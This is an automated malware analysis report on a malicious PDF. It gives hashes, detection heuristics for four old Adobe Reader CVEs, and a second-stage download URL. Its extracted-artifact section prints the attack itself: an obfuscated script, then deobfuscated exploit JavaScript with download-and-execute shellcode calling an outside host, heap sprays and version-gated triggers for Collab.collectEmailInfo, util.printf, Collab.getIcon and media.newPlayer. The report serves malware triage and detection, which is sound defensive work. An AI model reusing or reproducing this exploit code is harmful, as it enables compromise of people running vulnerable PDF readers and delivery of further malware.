Malicious PDF — malware analysis report

Static analysis result for SHA-256 5e0aa3f8b6a03773…

MALICIOUS

PDF

12.2 KB
MD5: c550d12fed65f6d9eef816a085b984fd SHA-1: 1501b35a1124692acd514828994d530fe8ded80f SHA-256: 5e0aa3f8b6a037733599d6a4bf4c7e4d38a5232a944a48eb19558000c2fd61fd
570 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known Adobe Reader vulnerabilities, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript indicates that it downloads a second-stage payload from the URL http://91.205.74.23/w.php?f=239&e=3. This is a common pattern for exploit kits targeting outdated PDF readers.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Js.Exploit.HTML-28 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Js.Exploit.HTML-28
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://91.205.74.23/w.php?f=239&e=3 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js
b9d3f776771f71a1e7ad7fddfa201a77f8ff6bad4e76314f247978ed4e7376b0
pdf-javascript-stream PDF /JS object 76 at offset 0x2C2 11607 bytes
Detection
ClamAV: Js.Exploit.HTML-28
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
x='e';
arr='2@28@8@29@8@18@37@18@44@44@33@4@6@24@60@18@66@19@75@74@13@13@66@19@28@63@29@51@66@19@75@70@28@63@66@19@22@70@29@51@66@19@29@15@74@51@66@19@74@74@70@28@66@19@13@51@63@35@66@19@51@35@75@33@66@19@75@33@74@35@66@19@35@63@51@35@66@19@22@35@75@33@66@19@70@13@37@63@66@19@22@13@75@33@66@19@74@74@35@75@66@19@13@13@62@33@66@19@70@29@75@33@66@19@35@74@74@63@66@19@74@74@22@51@66@19@75@37@68@63@66@19@37@70@29@29@66@19@28@28@37@35@66@19@33@75@28@28@66@19@51@35@75@33@66@19@63@74@74@35@66@19@74@15@51@13@66@19@22@70@35@13@66@19@75@22@28@33@66@19@68@51@74@51@66@19@29@51@75@70@66@19@70@37@22@70@66@19@29@33@29@15@66@19@70@37@51@63@66@19@75@33@70@13@66@19@74@63@22@70@66@19@22@51@75@33@66@19@22@75@74@70@66@19@28@70@35@74@66@19@75@33@70@13@66@19@68@35@22@13@66@19@28@70@35@74@66@19@63@15@74@74@66@19@51@37@51@15@66@19@36@62@28@63@66@19@63@70@35@74@66@19@62@33@74@74@66@19@33@29@35@28@66@19@74@75@37@35@66@19@22@51@28@68@66@19@63@37@35@75@66@19@35@62@63@33@66@19@62@36@35@74@66@19@29@33@51@35@66@19@74@33@28@37@66@19@22@70@37@28@66@19@70@29@29@13@66@19@70@29@75@33@66@19@35@74@68@51@66@19@13@13@62@62@66@19@35@63@75@33@66@19@75@62@51@33@66@19@29@63@51@13@66@19@70@51@28@28@66@19@35@63@68@51@66@19@62@75@75@33@66@19@62@62@35@74@66@19@35@51@75@33@66@19@35@74@75@33@66@19@36@33@63@70@66@19@70@15@70@29@66@19@29@33@63@74@66@19@36@62@70@74@66@19@13@75@75@33@66@19@75@35@68@35@66@19@35@63@22@62@66@19@22@51@74@74@66@19@15@13@35@74@66@19@28@74@29@33@66@19@13@75@75@33@66@19@75@33@35@75@66@19@13@36@28@22@66@19@70@15@35@70@66@19@15@75@29@75@66@19@28@28@28@28@66@19@29@68@28@28@66@19@29@75@28@15@66@19@35@35@35@35@66@19@35@35@35@35@66@19@70@35@70@75@66@19@51@35@13@36@66@19@28@28@13@75@66@19@35@35@35@35@66@19@70@35@35@35@66@19@63@35@75@74@66@19@70@35@37@15@66@19@75@33@70@70@66@19@75@33@29@63@66@19@37@35@70@29@66@19@63@74@75@74@66@19@28@28@35@70@66@19@13@75@29@74@66@19@13@29@13@28@66@19@35@35@35@35@66@19@22@70@13@75@66@19@13@63@22@68@66@19@70@51@13@62@66@19@37@13@28@28@66@19@63@51@75@74@66@19@75@33@35@75@66@19@29@75@29@75@66@19@28@28@13@37@66@19@28@28@28@28@66@19@35@68@29@33@66@19@22@68@29@33@66@19@29@63@75@37@66@19@35@37@35@51@66@19@35@35@35@35@66@19@70@63@75@62@66@19@35@63@68@51@66@19@35@51@63@22@66@19@22@68@68@51@66@19@13@22@13@70@66@19@63@22@22@74@66@19@68@51@51@51@66@19@22@13@35@51@66@19@74@74@22@68@66@19@63@22@74@68@66@19@68@51@51@51@66@19@68@35@35@75@66@19@22@74@68@62@66@19@70@74@68@35@66@19@28@75@13@75@66@19@35@35@35@35@66@19@28@28@35@35@66@19@35@63@70@13@66@19@29@75@75@33@66@19@63@15@74@74@66@19@63@22@70@37@66@19@37@62@51@51@66@19@22@22@35@35@66@19@13@68@22@35@66@19@63@22@22@51@66@19@37@62@51@51@66@19@68@29@35@70@66@19@13@63@13@51@66@19@63@13@13@63@66@19@37@62@51@51@66@19@35@35@35@15@66@19@75@36@70@15@66@19@35@51@63@37@66@19@75@75@74@35@66@19@37@62@51@51@66@19@51@37@35@51@66@19@13@36@70@37@66@19@13@36@35@35@66@19@70@74@35@35@66@19@13@36@70@22@66@19@28@28@35@35@66@19@37@51@70@13@66@19@63@35@75@70@66@19@37@13@22@70@66@19@35@35@13@36@66@19@28@28@70@74@66@19@35@51@70@13@66@19@35@35@13@36@66@19@29@33@75@74@66@19@70@74@35@63@66@19@70@13@28@28@66@19@75@74@35@51@66@19@35@63@63@74@66@19@35@68@29@33@66@19@37@74@29@33@66@19@75@35@51@22@66@19@35@35@74@28@66@19@28@36@22@70@66@19@75@35@51@22@66@19@35@35@74@28@66@19@63@51@22@70@66@19@35@35@13@36@66@19@28@29@13@36@66@19@70@13@28@28@66@19@29@75@35@75@66@19@28@29@15@63@66@19@28@28@28@28@66@19@51@29@75@29@66@19@29@63@35@29@66@19@28@29@15@75@66@19@35@29@75@36@66@19@13@28@75@15@66@19@33@62@35@37@66@19@63@36@74@74@66@19@70@33@75@36@66@19@63@13@37@33@66@19@22@15@51@13@66@19@37@36@74@13@66@19@22@35@68@28@66@19@22@51@13@75@66@19@22@35@22@51@66@19@68@28@74@36@66@19@74@15@68@28@66@19@68@29@74@37@66@19@74@35@74@68@66@19@68@29@74@70@66@19@74@51@74@22@66@19@74@68@68@29@66@19@68@28@74@74@66@19@68@29@22@22@66@19@13@75@22@35@66@19@74@28@22@35@66@19@74@62@13@13@66@19@74@74@74@68@66@19@68@13@74@15@66@19@74@62@13@70@66@19@35@35@74@74@66@19@35@35@35@35@18@5@28@19@34@63@14@2@48@34@49@29@72@40@64@8@64@36@17@20@25@44@43@16@50@2@23@29@8@64@36@27@23@29@34@24@14@50@65@68@31@20@25@44@43@64@36@11@60@64@36@5@47@64@36@60@64@36@27@6@19@33@6@14@64@2
... (truncated)
split_char_table_stage_000.js
ea715f86e711eea2b2ba32513d78e98ab525d9650d15eda42fc47cd84163c8bd
deobfuscated-js split character-table join decoded JavaScript at offset 0x2D1 3858 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e("1"))bjsg="%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u392f%u2e31%u3032%u2e35%u3437%u322e%u2f33%u2e77%u6870%u3f70%u3d66%u3332%u2639%u3d65%u0033%u0000";function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=="EScript"){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd("p@111111111111111111111111 : yyyy111",new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=="EScript"){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape("%u9090%u9090");var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}